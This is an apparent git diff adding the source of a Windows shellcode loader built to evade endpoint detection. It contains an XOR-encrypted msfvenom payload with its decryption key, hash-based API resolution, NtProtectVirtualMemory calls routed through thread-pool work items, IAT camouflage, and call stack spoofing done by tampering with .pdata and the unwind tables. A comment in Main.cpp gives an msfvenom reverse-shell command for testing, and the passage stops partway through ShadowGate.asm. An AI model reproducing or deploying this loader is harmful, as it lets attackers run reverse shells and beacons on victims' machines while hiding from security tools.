SYSTEM_PROCESS_INFORMATION, * PSYSTEM_PROCESS_INFORMATION; + + +#endif // !STRUCTS_H \ No newline at end of file diff --git a/src/ApiStub.asm b/src/ApiStub.asm new file mode 100644 index 0000000..93c6025 --- /dev/null +++ b/src/ApiStub.asm @@ -0,0 +1,27 @@ +; ApiStub.asm +.code + +;=========================================== +; StubProxyNtProtectVirtualMemory Procedure +;=========================================== +StubProxyNtProtectVirtualMemory PROC + push rbx ; Backup RBX value + mov rbx, rcx ; Backup PROTECT_MEMORY_CTX structure into a nonvol register + + mov rax, [rbx] ; Move NtProtectVirtualMemory into RAX + + ; ====== REGISTER PARAMETERS ;====== + mov rcx, [rbx + 8h] ; Move ProcessHandle parameter into RCX + mov rdx, [rbx + 10h] ; Move *BaseAddress parameter into RDX + mov r8, [rbx + 18h] ; Move RegionSize parameter into R8 + mov r9, [rbx + 20h] ; Move NewProtection parameter into R9 + + ; ====== STACK PARAMETERS ; ====== + mov r10, [rbx + 28h] ; Move OldProtection parameter into r10 + mov [rsp + 30h], r10 ; Push onto the stack + + pop rbx ; Restore RBX value + jmp rax ; Jump directly to NtProtectVirtualMemory +StubProxyNtProtectVirtualMemory ENDP + +END \ No newline at end of file diff --git a/src/Context.cpp b/src/Context.cpp new file mode 100644 index 0000000..15ad9af --- /dev/null +++ b/src/Context.cpp @@ -0,0 +1,225 @@ +/* Context.cpp */ +#include +#include "Structs.h" +#include "Primitives.h" +#include "Common.h" +#include "Debug.h" + +/*================================================ +@ InitializeSpoofContext Function +# Zeros out the BYOUD_CONTEXT structure and sets +# the active technique ID and target module base +================================================*/ +VOID ByoudContext::InitializeSpoofContext( + OUT PBYOUD_CONTEXT pByoudCtx, + _In_ DWORD dwTechnique, + _In_ PVOID pTarget +) { + Primitive::MemorySet(pByoudCtx, 0, sizeof(BYOUD_CONTEXT)); + pByoudCtx->Technique = dwTechnique; + pByoudCtx->pTargetModule = pTarget; +} + +/*================================================ +@ CommitSpoofChange Function +# Pushes a BYOUD_CHANGE entry into the context's +# change log array. Returns FALSE if the log is +# full (BYOUD_MAX_CHANGES reached) +================================================*/ +BOOL ByoudContext::CommitSpoofChange( + _Inout_ PBYOUD_CONTEXT pByoudCtx, + _In_ PBYOUD_CHANGE pByoudChange +) { + if (pByoudCtx->Count >= BYOUD_MAX_CHANGES) + return FALSE; + + pByoudCtx->Changes[pByoudCtx->Count++] = *pByoudChange; + return TRUE; +} + +/*================================================ +@ TrackCacheNullification Function +# Records a cache zeroing operation so it can be +# reverted later. Stores the cache address and +# its original value before nullification +================================================*/ +BOOL ByoudContext::TrackCacheNullification( + _Inout_ PBYOUD_CONTEXT pByoudCtx, + _In_ ULONG_PTR uAddress, + _In_ DWORD dwOld +) { + BYOUD_CHANGE Change = {}; + Change.Type = BCT_CACHE_ZERO; + Change.u.Cache.Address = uAddress; + Change.u.Cache.OldValue = dwOld; + return CommitSpoofChange(pByoudCtx, &Change); +} + +/*================================================ +@ TrackPDataProtection Function +# Records a .pdata protection change (either +# PAGE_READWRITE or PAGE_NOACCESS) so the +# original protection can be restored on cleanup +================================================*/ +BOOL ByoudContext::TrackPDataProtection( + _Inout_ PBYOUD_CONTEXT pByoudCtx, + _In_ PVOID pModule, + _In_ PVOID pBase, + _In_ SIZE_T Size, + _In_ DWORD dwOldProtect +) { + BYOUD_CHANGE Change = {}; + Change.Type = BCT_PDATA_PROTECT; + Change.u.Pdata.pModule = pModule; + Change.u.Pdata.Base = pBase; + Change.u.Pdata.Size = Size; + Change.u.Pdata.OldProtect = dwOldProtect; + return CommitSpoofChange(pByoudCtx, &Change); +} + +/*================================================ +@ TrackInvertedTableCollapse Function +# Records the original ImageSize before it was +# set to 0 in _INVERTED_FUNCTION_TABLE, enabling +# ExpandInvertedTableEntry to restore it later +================================================*/ +BOOL ByoudContext::TrackInvertedTableCollapse( + _Inout_ PBYOUD_CONTEXT pByoudCtx, + _In_ PVOID pModule, + _In_ ULONG ulOldSize +) { + BYOUD_CHANGE Change = {}; + Change.Type = BCT_INVERTED_TABLE_SHRINK; + Change.u.InvertedTable.pModule = pModule; + Change.u.InvertedTable.OldImageSize = ulOldSize; + return CommitSpoofChange(pByoudCtx, &Change); +} + +/*================================================ +@ TrackDynamicTableInsertion Function +# Records the allocated RUNTIME_FUNCTION pointer +# so RtlDeleteFunctionTable can remove it and +# the memory can be freed during cleanup +================================================*/ +BOOL ByoudContext::TrackDynamicTableInsertion( + _Inout_ PBYOUD_CONTEXT pByoudCtx, + _In_ PRUNTIME_FUNCTION pRuntimeFunction +) { + BYOUD_CHANGE Change = {}; + Change.Type = BCT_DYNAMIC_TABLE_ADD; + Change.u.DynamicAdd.pFunctionTable = pRuntimeFunction; + return CommitSpoofChange(pByoudCtx, &Change); +} + +/*================================================ +@ TrackDynamicTableTypeChange Function +# Records the original Type field value of the +# _DYNAMIC_FUNCTION_TABLE entry before it was +# set to 0 (RF_CALLBACK) for WinDbg bypass +================================================*/ +BOOL ByoudContext::TrackDynamicTableTypeChange( + _Inout_ PBYOUD_CONTEXT pByoudCtx, + _In_ PVOID pEntry, + _In_ DWORD dwOldType +) { + BYOUD_CHANGE Change = {}; + Change.Type = BCT_DYNAMIC_TABLE_TYPE; + Change.u.DynamicType.pEntry = pEntry; + Change.u.DynamicType.OldType = dwOldType; + return CommitSpoofChange(pByoudCtx, &Change); +} + +/*================================================ +@ TrackShellcodeInjection Function +# Records the ShadowGate stub appended to .text +# so it can be zeroed during cleanup +================================================*/ +BOOL ByoudContext::TrackShellcodeInjection( + _Inout_ PBYOUD_CONTEXT pByoudCtx, + _In_ PVOID pModule, + _In_ PVOID pAddress, + _In_ DWORD dwSize +) { + BYOUD_CHANGE Change = {}; + Change.Type = BCT_SHELLCODE_APPENDED; + Change.u.ShellcodeAppended.pModule = pModule; + Change.u.ShellcodeAppended.pAddress = pAddress; + Change.u.ShellcodeAppended.Size = dwSize; + return CommitSpoofChange(pByoudCtx, &Change); +} + +/*================================================ +@ RevertAllSpoofChanges Function +# Walks the change log in reverse order and undoes +# every tracked modification. Reverse order is +# critical — PAGE_NOACCESS must be removed first +# or subsequent .pdata access will fault +================================================*/ +BOOL ByoudContext::RevertAllSpoofChanges( + _Inout_ PBYOUD_CONTEXT pByoudCtx +) { + BOOL B0K = TRUE; + DWORD Dummy = 0; + + for (int i = (int)pByoudCtx->Count - 1; i >= 0; i--) { + + PBYOUD_CHANGE pC = &pByoudCtx->Changes[i]; + + switch (pC->Type) { + + case BCT_CACHE_ZERO: { + PVOID BaseAddress = (PVOID)pC->u.Cache.Address; + SIZE_T RegionSize = sizeof(DWORD); + Proxy::WorkItemNtProtectVirtualMemory(NtCurrentProcess(), &BaseAddress, &RegionSize, PAGE_READWRITE, &Dummy); + *(PDWORD)pC->u.Cache.Address = pC->u.Cache.OldValue; + Proxy::WorkItemNtProtectVirtualMemory(NtCurrentProcess(), &BaseAddress, &RegionSize, PAGE_READONLY, &Dummy); + break; + } + + case BCT_PDATA_PROTECT: { + PVOID BaseAddress = pC->u.Pdata.Base; + SIZE_T RegionSize = pC->u.Pdata.Size; + Proxy::WorkItemNtProtectVirtualMemory(NtCurrentProcess(), &BaseAddress, &RegionSize, pC->u.Pdata.OldProtect, &Dummy); + break; + } + + case BCT_PDATA_NOACCESS: { + StackSpoof::RestorePDataAccess(pC->u.Pdata.pModule, pC->u.Pdata.OldProtect); + break; + } + + case BCT_INVERTED_TABLE_SHRINK: { + Unwinder::ExpandInvertedTableEntry(pC->u.InvertedTable.pModule, pC->u.InvertedTable.OldImageSize); + break; + } + + case BCT_DYNAMIC_TABLE_ADD: { + g_Win32.Nt.RtlDeleteFunctionTable(pC->u.DynamicAdd.pFunctionTable); + ::operator delete(pC->u.DynamicAdd.pFunctionTable); + break; + } + + case BCT_DYNAMIC_TABLE_TYPE: { + *(PDWORD)((ULONG_PTR)pC->u.DynamicType.pEntry + 0x50) = pC->u.DynamicType.OldType; + break; + } + + case BCT_SHELLCODE_APPENDED: { + PVOID BaseAddress = pC->u.ShellcodeAppended.pAddress; + SIZE_T RegionSize = pC->u.ShellcodeAppended.Size; + DWORD OldProt = 0; + Proxy::WorkItemNtProtectVirtualMemory(NtCurrentProcess(), &BaseAddress, &RegionSize, PAGE_EXECUTE_READWRITE, &OldProt); + Primitive::MemorySet( + pC->u.ShellcodeAppended.pAddress, + 0, + pC->u.ShellcodeAppended.Size + ); + Proxy::WorkItemNtProtectVirtualMemory(NtCurrentProcess(), &BaseAddress, &RegionSize, PAGE_EXECUTE_READ, &Dummy); + break; + } + } + } + + pByoudCtx->Count = 0; + return B0K; +} \ No newline at end of file diff --git a/src/Debug.cpp b/src/Debug.cpp new file mode 100644 index 0000000..e31e2c5 --- /dev/null +++ b/src/Debug.cpp @@ -0,0 +1,17 @@ +/* Debug.cpp */ +#include "Debug.h" + +#ifdef DEBUG + +BOOL g_bCreated = FALSE; + +VOID CreateDebugConsole() { + + if (g_bCreated) + return; + + if (!GetConsoleWindow() && AllocConsole()) + g_bCreated = TRUE; +} + +#endif // DEBUG \ No newline at end of file diff --git a/src/Intrinsic.cpp b/src/Intrinsic.cpp new file mode 100644 index 0000000..0ec7be6 --- /dev/null +++ b/src/Intrinsic.cpp @@ -0,0 +1,14 @@ +/* Intrinsic.cpp */ + +#include + +#pragma intrinsic(memset) +#pragma function(memset) +extern void* __cdecl memset(void*, int, size_t); + +void* __cdecl memset(void* dest, int val, size_t count) { + unsigned char* p = (unsigned char*)dest; + while (count--) + *p++ = (unsigned char)val; + return dest; +} \ No newline at end of file diff --git a/src/Main.cpp b/src/Main.cpp new file mode 100644 index 0000000..116a1b1 --- /dev/null +++ b/src/Main.cpp @@ -0,0 +1,98 @@ +/* Main.cpp + * + * NOTE: For testing call stack spoofing, use a persistent + * payload that does not exit immediately (e.g. a reverse shell or a long-running + * beacon). Short-lived payloads like exec/calc will terminate before you can + * inspect the spoofed call stack. + * + * Example (msfvenom reverse shell): + * msfvenom -p windows/x64/shell_reverse_tcp LHOST= LPORT= EXITFUNC=thread -f c + */ +#include +#include "Structs.h" +#include "Primitives.h" +#include "Common.h" +#include "InitializeAPI.h" +#include "IatCamouflage.h" +#include "Debug.h" + +/* <<>> MSFVENOM X64 CALC SHELLCODE <<>> */ +unsigned char CipherText[] = { + + 0xCB, 0xFE, 0xFF, 0x56, 0x61, 0xB2, 0x89, 0x9F, 0x1A, 0x19, 0x36, 0x66, 0x2E, 0xD7, 0xB2, 0x5B, + 0x28, 0x0E, 0x20, 0xB3, 0x33, 0xFE, 0xFB, 0x75, 0xF7, 0x66, 0x41, 0x32, 0x15, 0xC7, 0xA9, 0xAC, + 0x17, 0xFE, 0xF7, 0xC0, 0xC1, 0x12, 0x46, 0x28, 0x50, 0x53, 0x3A, 0x06, 0xA6, 0xCF, 0xD1, 0xCA, + 0xD2, 0x7A, 0x70, 0x1D, 0x54, 0x9A, 0x50, 0x66, 0x56, 0xE7, 0xC7, 0x21, 0x0C, 0x4E, 0xC0, 0x13, + 0x65, 0xF7, 0x2D, 0xFA, 0x1A, 0x08, 0x69, 0x14, 0x58, 0x25, 0x3F, 0x36, 0xBF, 0x0C, 0x60, 0x82, + 0x7E, 0x46, 0x11, 0x29, 0xD3, 0x76, 0x04, 0x40, 0xDF, 0x2F, 0x1A, 0x30, 0x86, 0xC7, 0x3A, 0xBA, + 0xBC, 0xF6, 0x5C, 0xFB, 0x90, 0x8A, 0xAA, 0xC9, 0x52, 0xE6, 0xBE, 0x76, 0xE4, 0xB3, 0x68, 0x42, + 0x7F, 0x90, 0x5C, 0x50, 0x9F, 0xFE, 0x41, 0xE7, 0x3B, 0x6F, 0x0B, 0xA9, 0x00, 0xCE, 0x23, 0x3F, + 0x0F, 0x56, 0x09, 0x43, 0xDD, 0x59, 0x05, 0xBB, 0x12, 0x5C, 0x4E, 0xE6, 0x1A, 0x5F, 0xB8, 0x4E, + 0xF5, 0x06, 0x35, 0x28, 0x57, 0x66, 0x16, 0x66, 0x1C, 0x22, 0x82, 0x24, 0x86, 0xCF, 0x3E, 0xB7, + 0x36, 0x66, 0x3D, 0x39, 0x95, 0xD2, 0x01, 0x9E, 0xCA, 0x58, 0x2F, 0x76, 0x37, 0xD9, 0xB9, 0x50, + 0x3F, 0x1E, 0x50, 0x38, 0x17, 0xEC, 0x38, 0xA4, 0x7B, 0x0E, 0x8B, 0x32, 0xF2, 0x6F, 0x7A, 0xBF, + 0x6E, 0xEC, 0x34, 0x39, 0x83, 0xB3, 0x1E, 0x60, 0xE5, 0xE6, 0x2A, 0x7F, 0xD5, 0x86, 0xE0, 0x0A, + 0x7E, 0x46, 0x11, 0x61, 0x56, 0xFE, 0xFD, 0xAA, 0x96, 0x2F, 0xCA, 0x60, 0x4C, 0x35, 0x13, 0x75, + 0x58, 0x31, 0x83, 0x67, 0x2A, 0xBA, 0x54, 0xB5, 0x10, 0x58, 0xCD, 0x91, 0xFA, 0x3A, 0x7D, 0xF5, + 0xAB, 0x0E, 0x92, 0xA5, 0x7E, 0x8A, 0x76, 0x5B, 0x9D, 0xAE, 0x31, 0x80, 0x78, 0x8A, 0x99, 0xB9, + 0x24, 0xC4, 0x13, 0xD8, 0x91, 0x03, 0x08, 0x16, 0xC0, 0xE6, 0xA2, 0x54, 0x0E, 0xEB, 0x83, 0x24, + 0x1B, 0x3E, 0x74, 0x61 +}; + + +unsigned char XorKey[] = { + + 0x37, 0xB6, 0x7C, 0xB2, 0x91, 0x5A, 0x49, 0x9F, 0x1A, 0x19, 0x77, 0x37, 0x6F, 0x87, 0xE0, 0x0A, + 0x7E, 0x46, 0x11, 0x61, 0x56, 0xB6, 0x70, 0x27, 0x97, 0x2E, 0xCA, 0x60, 0x0D, 0x8F, 0x22, 0xFE +}; + +VOID XorDecrypt(PBYTE pPayload, SIZE_T sPayloadSize, PBYTE pKey, SIZE_T sKeySize) { + + for (SIZE_T i = 0, j = 0; i < sPayloadSize; i++, j++) { + if (j >= sKeySize) { + j = 0; + } + pPayload[i] = pPayload[i] ^ pKey[j]; + } +} + +int main() { + + PBYTE Data = (PBYTE)CipherText; + SIZE_T Size = sizeof(CipherText); + +#ifdef DEBUG + CreateDebugConsole(); +#endif + + /* Initialize Win32 APIs */ + if (!Win32API::InitializeWin32APIs()) { + return -1; + } + + /* Execute IAT Camouflage */ +#ifdef DEBUG + DBGPRINT("[*] Executing IAT Camouflage \n"); +#endif + IatCamouflage(); +#ifdef DEBUG + DBGPRINT("[+] Success \n"); +#endif + + /* Decrypt the payload */ +#ifdef DEBUG + DBGPRINT("[*] Decrypting The Payload \n"); +#endif + XorDecrypt(Data, Size, XorKey, sizeof(XorKey)); +#ifdef DEBUG + DBGPRINT("[+] Success \n"); +#endif + + /* Execute payload with stack spoofing */ + StackSpoof::ExecuteWithSpoofedStack( + Data, + Size + ); + + return 0; +} \ No newline at end of file diff --git a/src/Proxy.cpp b/src/Proxy.cpp new file mode 100644 index 0000000..72844c9 --- /dev/null +++ b/src/Proxy.cpp @@ -0,0 +1,149 @@ +/* Proxy.cpp */ +#include +#include "Structs.h" +#include "Primitives.h" +#include "Common.h" +#include "Debug.h" + +/*================================================ +@ SharedTimeStamp Function +# Reads the current system time directly from +# KUSER_SHARED_DATA without issuing any API calls +================================================*/ +ULONG64 SharedTimeStamp() { + + volatile PKUSER_SHARED_DATA UserSharedData = USER_SHARED_DATA; + + LARGE_INTEGER TimeStamp { + .LowPart = UserSharedData->SystemTime.LowPart, + .HighPart = UserSharedData->SystemTime.High1Time + }; + + return TimeStamp.QuadPart; +} + +/*================================================ +@ SharedSleep Function +# Performs a spinloop-based sleep by polling +# KUSER_SHARED_DATA. Detects sandbox time +# acceleration via timestamp drift check +================================================*/ +VOID SharedSleep( + _In_ ULONG64 uMilliseconds +) { + + ULONG64 Start64 = SharedTimeStamp() + (uMilliseconds * DELAY_TICKS); + + for (SIZE_T Index = 0; SharedTimeStamp() < Start64; Index++); + + if ((SharedTimeStamp() - Start64) > 2000) + return; +} + +/*================================================ +@ WorkItemLoadLibrary Function +# Loads a library by queuing LoadLibraryW as a +# work item via RtlQueueWorkItem, making the call +# appear to originate from a legitimate worker thread +# Polls for the module handle with a retry limit +================================================*/ +PVOID Proxy::WorkItemLoadLibrary( + _In_ PWSTR LibraryName +) { + + PVOID Module = nullptr; + ULONG Count = 0; + NTSTATUS Status = STATUS_SUCCESS; + + if (!NT_SUCCESS(Status = g_Win32.Nt.RtlQueueWorkItem((WORKERCALLBACKFUNC)g_Win32.K32.LoadLibraryW, LibraryName, WT_EXECUTEDEFAULT))) { +#ifdef DEBUG + DBGPRINT("[-] RtlQueueWorkItem Failed With Error -> %lx - %s.%d \n", Status, GET_FILENAME(__FILE__), __LINE__); +#endif + goto Leave; + } + + Count = 5; + + do { + if ((Module = g_Win32.K32.GetModuleHandleW(LibraryName))) { + break; + } + SharedSleep(115); + } while (Count--); + +Leave: + return Module; +} + +/*================================================ +@ WorkItemProxyNtProtectVirtualMemory Function +# Proxies NtProtectVirtualMemory through the thread +# pool worker via RtlQueueWorkItem and an assembly +# stub, masking the direct API call origin +================================================*/ +struct PROTECT_MEMORY_CTX { + PVOID NtProtectVirtualMemory; + + struct { + PVOID ProcessHandle; + PVOID* BaseAddress; + PVOID RegionSize; + PVOID NewProtection; + PVOID OldProtection; + } Args; +}; + +extern "C" VOID StubProxyNtProtectVirtualMemory(IN PROTECT_MEMORY_CTX* Ctx); + +NTSTATUS Proxy::WorkItemNtProtectVirtualMemory( + _In_ HANDLE ProcessHandle, + _Inout_ PVOID* BaseAddress, + _Inout_ PSIZE_T RegionSize, + _In_ ULONG NewProtection, + OUT PULONG OldProtection +) { + HANDLE EventHandle = nullptr; + NTSTATUS Status = STATUS_SUCCESS; + PROTECT_MEMORY_CTX Ctx = { + .NtProtectVirtualMemory = Resolver::LdrGetSymbolByHash(Resolver::LdrGetModuleByHash(Hash::ExprHashStrDjb2(L"ntdll.dll")), + Hash::ExprHashStrDjb2("NtProtectVirtualMemory")), + + .Args = { + .ProcessHandle = ProcessHandle, + .BaseAddress = BaseAddress, + .RegionSize = RegionSize, + .NewProtection = (PVOID)NewProtection, + .OldProtection = (PVOID)OldProtection + }, + }; + + if (!NT_SUCCESS(Status = g_Win32.Nt.NtCreateEvent(&EventHandle, EVENT_ALL_ACCESS, nullptr, NotificationEvent, FALSE))) { +#ifdef DEBUG + DBGPRINT("[-] NtCreateEvent Failed With Error -> %lx - %s.%d \n", Status, GET_FILENAME(__FILE__), __LINE__); +#endif + goto Leave; + } + + if (!NT_SUCCESS(Status = g_Win32.Nt.RtlQueueWorkItem((WORKERCALLBACKFUNC)StubProxyNtProtectVirtualMemory, &Ctx, WT_EXECUTEDEFAULT))) { +#ifdef DEBUG + DBGPRINT("[-] RtlQueueWorkItem Failed With Error -> %lx - %s.%d \n", Status, GET_FILENAME(__FILE__), __LINE__); +#endif + goto Leave; + } + + if (!NT_SUCCESS(Status = g_Win32.Nt.RtlQueueWorkItem((WORKERCALLBACKFUNC)g_Win32.Nt.NtSetEvent, EventHandle, WT_EXECUTEDEFAULT))) { +#ifdef DEBUG + DBGPRINT("[-] RtlQueueWorkItem[2] Failed With Error -> %lx - %s.%d \n", Status, GET_FILENAME(__FILE__), __LINE__); +#endif + goto Leave; + } + + g_Win32.K32.WaitForSingleObject(EventHandle, 0x1000); + +Leave: + if (EventHandle) { + Macro::DeleteHandle(EventHandle); + } + + return Status; +} diff --git a/src/Resolver.cpp b/src/Resolver.cpp new file mode 100644 index 0000000..8bf1fa4 --- /dev/null +++ b/src/Resolver.cpp @@ -0,0 +1,267 @@ +/* Resolver.cpp */ +#include +#include "Structs.h" +#include "Common.h" +#include "Debug.h" +#include "Primitives.h" + +/*================================================ +@ LdrGetModuleByHash Function +# Walks the PEB loader list and returns the base +# address of the module matching the given hash +================================================*/ +PVOID Resolver::LdrGetModuleByHash( + _In_ ULONG uModuleHash +) { + PLDR_DATA_TABLE_ENTRY DataTableEntry = nullptr; + PLIST_ENTRY Head = nullptr; + PLIST_ENTRY Entry = nullptr; + + /* Get pointer to the list */ + Head = &NtCurrentTeb()->ProcessEnvironmentBlock->LoaderData->InLoadOrderModuleList; + Entry = Head->Flink; + + /* Return the handle of local exe image if no hash is given */ + if (!uModuleHash) { + DataTableEntry = (PLDR_DATA_TABLE_ENTRY)(Entry); + return DataTableEntry->DllBase; + } + + /* Iterate through module list */ + for (; Head != Entry; Entry = Entry->Flink) { + + DataTableEntry = (PLDR_DATA_TABLE_ENTRY)(Entry); + + /* Check if hashes match */ + if (Hash::ExprHashStrDjb2(DataTableEntry->BaseDllName.Buffer) == uModuleHash) + return DataTableEntry->DllBase; + } + +#ifdef DEBUG + DBGPRINT("[-] LdrGetModuleByHash Failed At Hash -> 0x%0.8X - %s.%d \n", uModuleHash, GET_FILENAME(__FILE__), __LINE__); +#endif + return nullptr; +} + +/*================================================ +@ LdrGetSymbolByHash Function +# Parses the export directory of the given module +# and returns the address of the export matching +# the provided hash. Handles forwarded exports +# recursively via WorkItemProxyLoadLibrary +================================================*/ +PVOID Resolver::LdrGetSymbolByHash( + _In_ PVOID pModule, + _In_ ULONG uFunctionHash +) { + if (!pModule || !uFunctionHash) { +#ifdef DEBUG + DBGPRINT("[-] LdrGetSymbolByHash Failed At Hash -> 0x%0.8X - %s.%d \n", uFunctionHash, GET_FILENAME(__FILE__), __LINE__); +#endif + return nullptr; + } + + //------------------------------------------------------------------------- + + /* Avoid casting to PBYTE each time */ + PBYTE BaseAddress = (PBYTE)pModule; + + /* Fetch the NT headers and do a signature check */ + auto Nt = (PIMAGE_NT_HEADERS)(BaseAddress + ((PIMAGE_DOS_HEADER)BaseAddress)->e_lfanew); + if (Nt->Signature != IMAGE_NT_SIGNATURE) + return nullptr; + + /* Fetch the export cirectory and the size of it */ + auto ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(BaseAddress + Nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); + auto ExportSize = Nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size; + + /* Fetch the function's name & address & ordinal pointers */ + auto AddressOfFunctions = (PDWORD)(BaseAddress + ExportDirectory->AddressOfFunctions); + auto AddressOfNames = (PDWORD)(BaseAddress + ExportDirectory->AddressOfNames); + auto AddressOfOrdinals = (PWORD)(BaseAddress + ExportDirectory->AddressOfNameOrdinals); + + /* Iterate through exported functions */ + for (int i = 0; i < ExportDirectory->NumberOfNames; i++) { + + PCHAR FunctionName = (PCHAR)(BaseAddress + AddressOfNames[i]); + PVOID FunctionVA = (PVOID)(BaseAddress + AddressOfFunctions[AddressOfOrdinals[i]]); + + /* Check if hashes match */ + if (Hash::ExprHashStrDjb2(FunctionName) == uFunctionHash) { + + /* Handle forwarded functions */ + ULONG_PTR FunctionAddress = (ULONG_PTR)FunctionVA; + ULONG_PTR ExportBeginning = (ULONG_PTR)ExportDirectory; + ULONG_PTR ExportEnd = ExportBeginning + ExportSize; + + if (FunctionAddress >= ExportBeginning && FunctionAddress < ExportEnd) { +#ifdef DEBUG + DBGPRINT("[i] LdrGetSymbolByHash -> [%s] Is A Forwarded Function \n", FunctionName); +#endif + CHAR Forwarder[MAX_PATH] = { 0 }; + WCHAR WidePath[MAX_PATH] = { 0 }; + DWORD Offset = 0; + PCHAR PFunctionMod = nullptr; + PCHAR PFunctionName = nullptr; + + Primitive::MemoryCopy(Forwarder, (PVOID)FunctionAddress, Primitive::StringLength((PCHAR)FunctionAddress)); + + for (DWORD j = 0; j < Primitive::StringLength((PCHAR)Forwarder); j++) { + + if (((PCHAR)Forwarder)[j] == '.') { + + Offset = j; + Forwarder[j] = '\0'; + break; + } + } + + PFunctionMod = Forwarder; + PFunctionName = Forwarder + Offset + 1; + + /* Convert ansi name to unicode */ + Primitive::AnsiToWide(PFunctionMod, WidePath, MAX_PATH); + PVOID ForwardedMod = Proxy::WorkItemLoadLibrary(WidePath); + + return LdrGetSymbolByHash(ForwardedMod, Hash::ExprHashStrDjb2(PFunctionName)); + } + + /* If it's not a forwarded function, return the address directly */ + return (FARPROC)FunctionAddress; + } + } + +#ifdef DEBUG + DBGPRINT("[-] LdrGetSymbolByHash Failed At Hash -> 0x%0.8X - %s.%d \n", uFunctionHash, GET_FILENAME(__FILE__), __LINE__); +#endif + return nullptr; +} + +/*================================================ +@ ResolveSectionInfo Function +# Parses the PE section headers of the given module +# and fills pSectionInfo with the virtual address +# and size of the section matching pcSectionName +================================================*/ +VOID Resolver::ResolveSectionInfo( + _In_ PVOID pModule, + _In_ PCHAR pcSectionName, + OUT PSECTION_INFO pSectionInfo +) { + if (!pModule || !pcSectionName || !pSectionInfo) + return; + + /* Fetch the NT headers and do a signature check */ + auto Nt = (PIMAGE_NT_HEADERS)((PBYTE)pModule + ((PIMAGE_DOS_HEADER)pModule)->e_lfanew); + if (Nt->Signature != IMAGE_NT_SIGNATURE) + return; + + /* Get section header and the length of section name */ + auto SectionHeader = IMAGE_FIRST_SECTION(Nt); + SIZE_T NameLength = Primitive::StringLength(pcSectionName); + + /* Iterate through PE sections */ + for (int i = 0; i < Nt->FileHeader.NumberOfSections; i++, SectionHeader++) { + + if (Primitive::MemoryCompare(SectionHeader->Name, (PCHAR)pcSectionName, NameLength) == 0) { + pSectionInfo->VirtualAddress = (PVOID)((PBYTE)pModule + SectionHeader->VirtualAddress); + pSectionInfo->VirtualSize = SectionHeader->Misc.VirtualSize; + return; + } + } + + return; +} + +/*================================================ +@ ResolvePDataSectionInfo Function +# Wrapper around ResolveSectionInfo that resolves +# the .pdata (exception handler table) section +================================================*/ +VOID Resolver::ResolvePDataSectionInfo( + _In_ PVOID pModule, + OUT PSECTION_INFO pSectionInfo +) { + const CHAR SectionName[] = { '.', 'p', 'd', 'a', 't', 'a', '\0' }; + Resolver::ResolveSectionInfo(pModule, (PCHAR)SectionName, pSectionInfo); +} + +/*================================================ +@ ResolveTextSectionInfo Function +# Wrapper around ResolveSectionInfo that resolves +# the .text section +================================================*/ +VOID Resolver::ResolveTextSectionInfo( + _In_ PVOID pModule, + OUT PSECTION_INFO pSectionInfo +) { + const CHAR SectionName[] = { '.', 't', 'e', 'x', 't', '\0' }; + Resolver::ResolveSectionInfo(pModule, (PCHAR)SectionName, pSectionInfo); +} + +/*================================================ +@ ResolveExceptionDirectory Function +# Returns the base address and size of the module's +# exception directory (IMAGE_DIRECTORY_ENTRY_EXCEPTION) +# Used to locate and iterate RUNTIME_FUNCTION entries +================================================*/ +PVOID Resolver::ResolveExceptionDirectory( + _In_ PVOID pModule, + OUT PDWORD pdwDirSize +) { + if (!pModule || !pdwDirSize) + return nullptr; + + auto Nt = (PIMAGE_NT_HEADERS)((PBYTE)pModule + ((PIMAGE_DOS_HEADER)pModule)->e_lfanew); + if (Nt->Signature != IMAGE_NT_SIGNATURE) + return nullptr; + + auto ExceptionDir = &Nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION]; + *pdwDirSize = ExceptionDir->Size; + + return (PVOID)((PBYTE)pModule + ExceptionDir->VirtualAddress); +} + +/*================================================ +@ LocateCallInstructionOffset Function +# Scans forward from uStartAddress looking for the +# first CALL instruction (near, indirect or REX-prefixed) +# Returns the offset to the instruction immediately +# following the CALL, i.e. the return address that +# would be pushed onto the stack +================================================*/ +DWORD Resolver::LocateCallInstructionOffset( + _In_ ULONG_PTR uStartAddress, + _In_ DWORD dwSearchLimit +) { + DWORD Offset = 0; + DWORD CallOffset = 0; + DWORD StaticOffset = 4; /* Size of call instruction */ + BOOL Found = FALSE; + + while (Offset < dwSearchLimit) { + + /* + 0xE8 = CALL rel32 (direct near call, 1-byte opcode) + 0xFF15 = CALL [RIP+rel32] (indirect near call, 2-byte opcode) + 0x48FF15 = REX.W CALL [RIP+rel32] (REX-prefixed indirect, 3-byte opcode) + */ + if (*(PBYTE)(uStartAddress + Offset) == CALL_NEAR || *(PWORD)(uStartAddress + Offset) == CALL_NEAR_QPTR || (*(PDWORD)(uStartAddress + Offset) & 0x00ffffff) == CALL_FAR_QPTR) { + + /* Adjust CallOffset based on opcode length */ + if ((*(PDWORD)(uStartAddress + Offset) & 0x00ffffff) == CALL_FAR_QPTR) + CallOffset += 3; + else if (*(PWORD)(uStartAddress + Offset) == CALL_NEAR_QPTR) + CallOffset += 2; + else + CallOffset++; + + Found = TRUE; + break; + } + + Offset++; + } + + return Found ? (Offset + StaticOffset + CallOffset) : 0; +} \ No newline at end of file diff --git a/src/SetRegister.asm b/src/SetRegister.asm new file mode 100644 index 0000000..7c431c2 --- /dev/null +++ b/src/SetRegister.asm @@ -0,0 +1,13 @@ +; SetRegister.asm +.code + +PUBLIC CaptureStackPointer + +; Why assembly -> A c++ function call modifies RSP, +; so reading it directly in assembly is mandatory +CaptureStackPointer PROC + mov rax, rsp + ret +CaptureStackPointer ENDP + +END \ No newline at end of file diff --git a/src/ShadowGate.asm b/src/ShadowGate.asm new file mode 100644 index 0000000..f691e61 --- /dev/null +++ b/src/ShadowGate.asm @@ -0,0 +1,78 @@ +; ShadowGate.asm +.code + +; RCX = SHADOWGATE_PARAMS* (pointer to parameter structure) +ShadowGate PROC + + ;---------------------------- SAVE NON-VOLATILE REGISTERS ;---------------------------- + push rbx + push rbp + push rsi + push rdi + push r12 + push r13 + push r14 + push r15 + + mov r12, rcx ; R12 = SHADOWGATE_PARAMS* + mov r13, [r12] ; R13 = pFunction (Offset -> 0) + mov r14, [r12 + 8h] ; R14 = dwMinimumFrameSize (Offset -> 8) + mov r15, [r12 + 10h] ; R15 = argc (Offset -> 10) + lea rbp, [r12 + 18h] ; RBP = &argv[0] (Offset -> 18) + + sub 